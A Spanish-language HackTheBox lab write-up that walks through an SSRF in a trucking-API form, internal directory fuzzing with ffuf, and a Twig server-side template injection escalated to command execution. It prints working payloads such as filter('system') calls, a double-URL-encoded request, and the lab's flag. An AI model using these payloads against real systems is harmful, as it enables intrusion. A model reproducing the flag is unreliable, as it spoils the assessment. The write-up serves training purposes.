---
title: "Writeup Skills Assessment - Server-Side Attacks — HackTheBox"
machine: "Skills Assessment - Server-Side Attacks"
platform: "HackTheBox"
difficulty: "Medio"
operating_system: ["Web", "Linux"]
tags: ["web", "ssrf", "lateral", "server-side"]
author: "juanluismm520"
author_url: "https://writeups.es/u/juanluismm520"
source: "https://writeups.es/writeups/hackthebox/skills-assessment-server-side-attacks/juanluismm520"
license: "CC BY-SA 4.0"
published: "2026-08-29T14:55:13.789843+00:00"
updated: "2026-08-29T15:41:26.413426+00:00"
words: 306
reading_minutes: 2
summary: "Máquina final del módulo de Server-Side Attacks del path para la certificación CWES. En ella vemos claramente un SSRF y posiblemente más elementos que sean interesantes."
---# Skills Assessment - Server-Side Attacks — HackTheBox

**Resumen:** Máquina final del módulo de Server-Side Attacks del path para la certificación CWES. En ella vemos claramente un SSRF y posiblemente más elementos que sean interesantes.

## Resumen

Máquina final del módulo de Server-Side Attacks del path para la certificación CWES. En ella vemos claramente un SSRF y posiblemente más elementos que sean interesantes. 

## Superficie de ataque

| Endpoint | Método | Parámetros | Observaciones |
|----------|--------|------------|---------------|
| /   | POST   | user, pass |      api=http://truckapi.htb/?id%3DFusionExpress01         |

## Análisis

Nada más entrar obtenemos la petición 
```http
POST / HTTP/1.1
Host: 154.57.164.77:30941
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.77:30941/
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://154.57.164.77:30941
DNT: 1
Connection: keep-alive

api=http://truckapi.htb/?id%3DFusionExpress01
```

Estamos claramente ante un **SSRF**

## Explotación

Seguimos los apuntes que nos da el módulo. Básicamente consiste en buscar directorios y puertos en http://truckapi.htb usando `ffuf`. También es interesante buscar directorios y puertos en http://127.0.0.1. 


### Payload 
Usando ffuf en busca de directorios

``` bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt \
  -u http://154.57.164.77:30941/ \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "api=http://truckapi.htb/FUZZ/" \
  -fr "The requested URL was not found on this server" \
  -s
```

Encontramos 
```txt
icons
vendor
server-status
```

> [!NOTE]
> En realidad encontramos muchos más, el caso es que eran falsos positivos ya que por ejemplo tenían un nombre como `Reports List`, el problema es el espacio que producía un falso positivo. Por lo que no es real.

Investigando en `server-status` no encuentro nada, pero si logro encontrar en `/vendor/`.

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7ae299d8-efbf-4186-acf3-6ca5f168edf7.webp)

Esto es interesante ya que podemos explorar todas las carpetas y vemos que utiliza `Twig`. **ESTAMOS ANTE UN SSTI**

### Explotación del SSTI (Twig)
Me doy cuenta gracias a ver los ficheros y a la explotación del `SSRF` que estamos ante un `SSTI` combinado con `SSRF`
Si ejecutamos `api=http://truckapi.htb/?id={{7*7}}`, esto urlcodeado queda como `api=http://truckapi.htb/?id=%7B%7B7%2A7%7D%7D`

Nos devuelve: `{"id": "49", "location": "134 Main Street"}`. Si nos damos cuenta, se ha ejcutado la plantilla Twig al ejecutar una búsqueda al id 49 (resultado de 7*7). 

El comando a ejecutar para comprobar si funciona **RCE** es este: `{{ ['id'] | filter('system') }}`. Al principio haciendo urlencode no funciona, pero entre mucha búsqueda descubro que se debe mandar doble urlencode para hacerlo funcionar. 

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/b284e657-87ab-4bbe-bbaa-58714cb051fe.webp)

Estamos ante **RCE**, por lo que ejecutar un **LFI** para leer la flag debe ser sencillo. 

## Obtención de la flag
Tal como vimos en la sección anterior, debemos ejecutar este comando `api=http://truckapi.htb/?id={{ ['cat /flag.txt'] | filter('system') }}` para obtener la flag y así superar el módulo. Importante realizar doble urlencode. 

La petición completa:
```http
POST / HTTP/1.1
Host: 154.57.164.67:30127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.67:30127/
Content-Type: application/x-www-form-urlencoded
Content-Length: 406
Origin: http://154.57.164.67:30127
DNT: 1
Connection: keep-alive

api=http://truckapi.htb/?id=%25%37%62%25%37%62%25%32%30%25%35%62%25%32%37%25%36%33%25%36%31%25%37%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%34%25%37%38%25%37%34%25%32%37%25%35%64%25%32%30%25%37%63%25%32%30%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%38%25%32%37%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%32%37%25%32%39%25%32%30%25%37%64%25%37%64
```
Y con ello obtenemos la flag 
> [!SPOILER]
> HTB{3b8e2b940775e0267ce39d7c80488fc8}



---

> Writeup de **juanluismm520** publicado en [writeups.es](https://writeups.es/writeups/hackthebox/skills-assessment-server-side-attacks/juanluismm520).
> Si citas este contenido, enlaza a la fuente original.
